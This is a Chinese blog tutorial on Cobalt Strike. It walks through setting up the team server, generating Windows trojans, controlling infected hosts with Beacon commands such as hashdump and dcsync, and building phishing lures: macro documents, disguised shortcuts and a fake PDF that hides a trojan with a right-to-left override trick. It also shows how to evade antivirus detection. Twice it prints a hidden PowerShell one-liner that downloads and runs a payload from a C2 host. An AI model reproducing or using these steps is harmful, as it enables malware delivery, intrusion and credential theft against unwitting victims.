Cobalt Strike

文章目录

  • Cobalt Strike
    • 1. Cobalt Strike 简介
    • 2. Cobalt Strike 和 MSF 的区别
    • 3. Cobalt Strike server
    • 4. Cobalt Strike client
      • 4.1 安装插件
      • 4.2 运行木马
      • 4.3 参数详情
    • 5. Cobalt Strike 鱼饵制作
      • 5.1 宏
      • 5.2 Power shell
      • 5.3 快捷方式
      • 5.4 ShellQMaker 免杀
      • 5.5 伪装pdf文件

Cobalt Strike

中华人民共和国网络安全法 (cac.gov.cn)。

1. Cobalt Strike 简介

​ Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。

​ Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,Windows的exe木马生成,Windows的dll木马生成,Java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。

​ 内网渗透中拿到一个点,进行提权后进行哈希传递获得其他主机的权限,拿下域控,通过kerberos协议黄白票据获取服务,暴力破解密钥弱口令等以及扫描内网网段查看有哪些主机存活;如果该内网有好几层,那么就得做流量代理。内网中流量很敏感,防守方很容易就会发现内网IP攻击内网IP的流量,那么就要求我们短时间内渗透完成,并且在真实渗透中对方环境不可控(有没有WAF需要绕过,有没有杀毒软件要关),Cobalt Strike工具因为是图形化界面更方便更简洁进行渗透操作,并且可以将攻击者控制权限注入到system权限的系统核心进程中。

Cobalt Strike_第1张图片

Cobalt Strike_第2张图片

CS server 开启了50050端口,CS官方推进这个端口。(可修改)生成的木马连接的也是CS server 。

CS Client 可以连接CS server的50050端口。

2. Cobalt Strike 和 MSF 的区别

  • MSF

    • 生成的木马是单线联系的并且是实时通信的。
  • Cobalt Strike

    • Cobalt Strike生成的木马在执行后会主动去找CS server,CS server 允许多个用户同时登录,当有一台主机上线后,所有连接这台服务器的攻击者都可以操作上线的Shell。

    • Cobalt Strike 生成的木马并不是实时通信的,而是木马文件每隔一段时间会请求服务器CS server。(心跳默认60秒,可修改)请求是由内到外发起的请求,这样可以绕过安全设备。

注意:Cobalt Strike客户端和服务器都需要Java环境。

Cobalt Strike_第3张图片

3. Cobalt Strike server

将文件进行解压

unzip CobaltStrike4.8.zip

Cobalt Strike_第4张图片

Cobalt Strike_第5张图片

给服务端所有文件赋予执行权限。

Cobalt Strike_第6张图片

执行teamserver脚本。需要管理员权限才可以运行。

Cobalt Strike_第7张图片

说明

  • certificate:Cobalt Strike官方采用了非对称加密的通信,会生成一个证书,当成功运行服务器的时候会生成一个hash值,在连接服务器的时候会收到一个证书。对比哈希值,证明生成的hash值是合法的。防止受到中间人攻击。
  • host:服务器的IP地址。
  • password:密码
  • [/path/to/c2.profile]:配置文件(可写可不写)。
  • [YYYY-MM-DD]:木马文件的到期时间。
./teamserver 192.168.188.133 123456

Cobalt Strike_第8张图片

Cobalt Strike服务器启动成功。

4. Cobalt Strike client

进入搭配CobaltStrike中的Client双击cobaltstrike-client.cmd即可。

Cobalt Strike_第9张图片

Cobalt Strike_第10张图片

配置信息然后进行连接,

Cobalt Strike_第11张图片

比对之前生成的hash值和这里的hash值一致。

Cobalt Strike_第12张图片

界面如下

Cobalt Strike_第13张图片

4.1 安装插件

插件后缀名是caa

Cobalt Strike_第14张图片

Cobalt Strike_第15张图片

Cobalt Strike_第16张图片

Cobalt Strike_第17张图片

Cobalt Strike_第18张图片

没有区别都是windows木马,差别在询问服务执行什么命令。

Cobalt Strike_第19张图片

点击小耳机表示所有的监听,配置信息如下。

Cobalt Strike_第20张图片

查看服务器的端口情况,发现刚刚创建的6666端口已经开启了。

image-20231017190904056

选择Windows Stager Payload生成exe

Cobalt Strike_第21张图片

点击Generate后选择保存木马文件的路径。

Cobalt Strike_第22张图片

Cobalt Strike_第23张图片

4.2 运行木马

双击木马后就上线了。

Cobalt Strike_第24张图片

说明

  • pid:受害者主机上占用的哪个pid。
  • process:进程使用的exe。
  • user:受害者使用哪个用户点击的木马,可以理解为受害者的权限。
  • sleep:表示心跳。木马文件每隔一段时间会请求服务器CS server。

Cobalt Strike_第25张图片

点击Interact,下方会生成一个命令解释器的窗口。

Cobalt Strike_第26张图片

这个命令解释器相对于一个独立的命令解释器,是木马的命令解解释器。

先将sleep设置为2秒,执行完成后,心跳自动变成2秒。

Cobalt Strike_第27张图片

查看Beacon可以执行哪些命令,输入?进行查看。

Cobalt Strike_第28张图片

输入了ls显示当前木马下的所有文件信息。

Cobalt Strike_第29张图片

输入shell whoami,以运行木马主机的环境执行命令。

Cobalt Strike_第30张图片

Cobalt Strike_第31张图片

Cobalt Strike_第32张图片

之前安装插件的功能

Cobalt Strike_第33张图片

Cobalt Strike_第34张图片

4.3 参数详情

Cobalt Strike

New Connection    # 新建连接,支持连接多个服务器端 
Preferences       # 设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录 
Visualization     # 主要展示输出结果的视图 
VPN Interfaces    #设置VPN接口 
Listenrs          # 创建监听器 
Script Manager    #脚本管理,可以通过AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等 
Close             # 退出连接 

View

Applications   # 显示受害主机的应用信息 
Credentials    # 显示所有以获取的受害主机的凭证,如hashdump、Mimikatz 
Downloads      # 查看已下载文件 
Event Log      # 主机上线记录以及团队协作聊天记录 
Keystrokes     # 查看键盘记录结果 
Proxy Pivots   # 查看代理模块 
Screenshots    # 查看所有屏幕截图 
Script Console # 加载第三方脚本以增强功能  
Targets        # 显示所有受害主机 
Web Log        # 所有Web服务的日志

Attacks

Packages

HTML Application      # 生成(executable/VBA/powershell)这三种原理实现的恶意HTA木马文件 
MS Office Macro       # 生成office宏病毒文件 
Payload Generator     # 生成各种语言版本的payload 
USB/CD AutoPlay       # 生成利用自动播放运行的木马文件 
Windows Dropper       # 捆绑器能够对任意的正常文件进行捆绑(免杀效果差) 
Windows Executable    # 生成可执行exe木马 
Windows Executable(Stageless)   # 生成无状态的可执行exe木马

Web Drive-by

Manage                  # 对开启的web服务进行管理 
Clone Site              # 克隆网站,可以记录受害者提交的数据 
Host File               # 提供文件下载,可以选择Mime类型 
Scripted Web Delivery   # 为payload提供web服务以便下载和执行,类似于Metasploit的web_delivery  
Signed Applet Attack    # 使用java自签名的程序进行钓鱼攻击(该方法已过时) 
Smart Applet Attack     # 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本(该方法已过时) 
System Profiler         # 用来获取系统信息,如系统版本,Flash版本,浏览器版本等 
Spear Phish              # 鱼叉钓鱼邮件

Reporting

Activity Report            # 活动报告 
Hosts Report               # 主机报告 
Indicators of Compromise   # IOC报告:包括C2配置文件的流量分析、域名、IP和上传文件的MD5 hashes 
Sessions Report             # 会话报告 
Social Engineering Report   # 社会工程报告:包括鱼叉钓鱼邮件及点击记录 Tactics, Techniques, and Procedures   # 战术技术及相关程序报告:包括行动对应的每种战术的检测策略和缓解策略 
Reset Data   # 重置数据 Export Data     # 导出数据,导出.tsv文件格式 

Help

  • Homepage # 官方主页
  • Support # 技术支持
  • Arsenal # 开发者
  • System information # 版本信息
  • About # 关于

工具栏

image-20231017194426619

1.新建连接
2.断开当前连接
3.监听器
4.改变视图为Pivot Graph(视图列表)
5.改变视图为Session Table(会话列表)
6.改变视图为Target Table(目标列表)
7.显示所有以获取的受害主机的凭证
8.查看已下载文件
9.查看键盘记录结果
10.查看屏幕截图
11.生成无状态的可执行exe木马
12.使用java自签名的程序进行钓鱼攻击
13.生成office宏病毒文件
14.为payload提供web服务以便下载和执行
15.提供文件下载,可以选择Mime类型
16.管理Cobalt Strike上运行的web服务
17.帮助
18.关于

Beacon

Beacon Commands
===============

Command                   Description
-------                   -----------
argue                     进程参数欺骗
blockdlls                 在子进程中阻止非Microsoft的DLLs文件
browserpivot              注入受害者浏览器进程
bypassuac                 绕过UAC
cancel                    取消正在进行的下载
cd                        切换目录
checkin                   强制让被控端回连一次
clear                     清除beacon内部的任务队列
connect                   通过TCP连接到Beacon
covert                 部署Covert VPN客户端
cp                        复制文件
dcsync                    从DC中提取密码哈希
desktop                   远程VNC
dllinject                 反射DLL注入进程
dllload                   使用LoadLibrary将DLL加载到进程中
download                  下载文件
downloads                 列出正在进行的文件下载
drives                    列出目标盘符
elevate                   尝试提权
execute                   在目标上执行程序
execute-assembly          在目标上内存中执行本地.NET程序
exit                      退出beacon
getprivs                  对当前令牌启用系统权限
getsystem                 尝试获取SYSTEM权限
getuid                    获取用户ID
hashdump                  转储密码哈希值
help                      帮助
inject                    在特定进程中生成会话
jobkill                   杀死一个后台任务
jobs                      列出后台任务
kerberos_ccache_use       从ccache文件中导入票据应用于此会话
kerberos_ticket_purge     清除当前会话的票据
kerberos_ticket_use       从ticket文件中导入票据应用于此会话

域内登录认证

# 查看网络内和域内主机和IP地址
net view
net view [domain]

# 列出当前域控以及特定域控
net dclist 
net dclist [domain]

# 查看当前域主机列表
shell net view /domain:[domain] 

5. Cobalt Strike 鱼饵制作

5.1 宏

新建一个word文档,具体步骤如下

Cobalt Strike_第35张图片

Cobalt Strike_第36张图片

Cobalt Strike_第37张图片

Cobalt Strike_第38张图片

Cobalt Strike_第39张图片

复制到之前宏代码的位置,保存文件即可。

Cobalt Strike_第40张图片

双击刚才的word文件,即可上线成功。

Cobalt Strike_第41张图片

5.2 Power shell

Cobalt Strike_第42张图片

Cobalt Strike_第43张图片

Cobalt Strike_第44张图片

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.188.133:80/a'))"

Win + R 输入刚才复制的内容粘贴进入回车即可。

Cobalt Strike_第45张图片

之后后Power shell会弹出一下,然后就上线成功。

Cobalt Strike_第46张图片

5.3 快捷方式

以火绒的为例,生成一个快捷方式,然后将之前生成的powershell代码复制到快捷方式的目标中。

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.188.133:80/a'))"

Cobalt Strike_第47张图片

选择一个图标进行伪装,系统的图标位置如下

%SystemRoot%\System32\SHELL32.dll

Cobalt Strike_第48张图片

Cobalt Strike_第49张图片

双击我们伪装的快捷方式,之后就上线成功。

5.4 ShellQMaker 免杀

Cobalt Strike_第50张图片

Stager和Stageless的区别

  • Stager Payload Generator:里面是wget,curl。当Stager执行的时候会去找远程的恶意服务器,是由受害者主机主动去请求的。而不是将恶意代码上传到受害者服务器上,下载完成后恶意代码通过请求返回。
  • Stageless Payload Generator:完整功能的木马 ,里面是将所有的恶意代码写入木马中。上传到受害者服务器上。

这里选中Stager Payload Generator。

Cobalt Strike_第51张图片

保存恶意文件到桌面

Cobalt Strike_第52张图片

生成的c语言文件

Cobalt Strike_第53张图片

文件内容如下,以十六进制显示的

Cobalt Strike_第54张图片

Cobalt Strike操作如下

Cobalt Strike_第55张图片

Cobalt Strike_第56张图片

使用ShellQMaker来进行操作

Cobalt Strike_第57张图片

之后会在目录下生成一个shell.exe文件。

Cobalt Strike_第58张图片

并且在真实机中操作,没有被火绒检测到。

5.5 伪装pdf文件

使用winrarx64程序

Cobalt Strike_第59张图片

选中木马程序和一个pdf文件,右键添加到压缩文件中。

Cobalt Strike_第60张图片

设置压缩文件选项。

Cobalt Strike_第61张图片

解压路径选择为c:\windows\temp。

Cobalt Strike_第62张图片

配置在解压的时候,运行的哪些文件。注意将exe文件放在前面。

Cobalt Strike_第63张图片

Cobalt Strike_第64张图片

防止出现相同名字的文件。

Cobalt Strike_第65张图片

选择图标

Cobalt Strike_第66张图片

但是目前的生成的木马后缀名.exe太过于明显。

Cobalt Strike_第67张图片

文件后缀名加一个空格,然后写fdp.exe

Cobalt Strike_第68张图片

右键文件重命名,点击fdp前面一格然后选择插入Unicode控制字符(I)–>RLO即可。

Cobalt Strike_第69张图片

最后效果图

Cobalt Strike_第70张图片

双击文件后,上线成功。

Cobalt Strike_第71张图片

并且文件成功在浏览器中打开

Cobalt Strike_第72张图片

你可能感兴趣的:(网络安全,系统安全,内网渗透,Cobalt,Strike)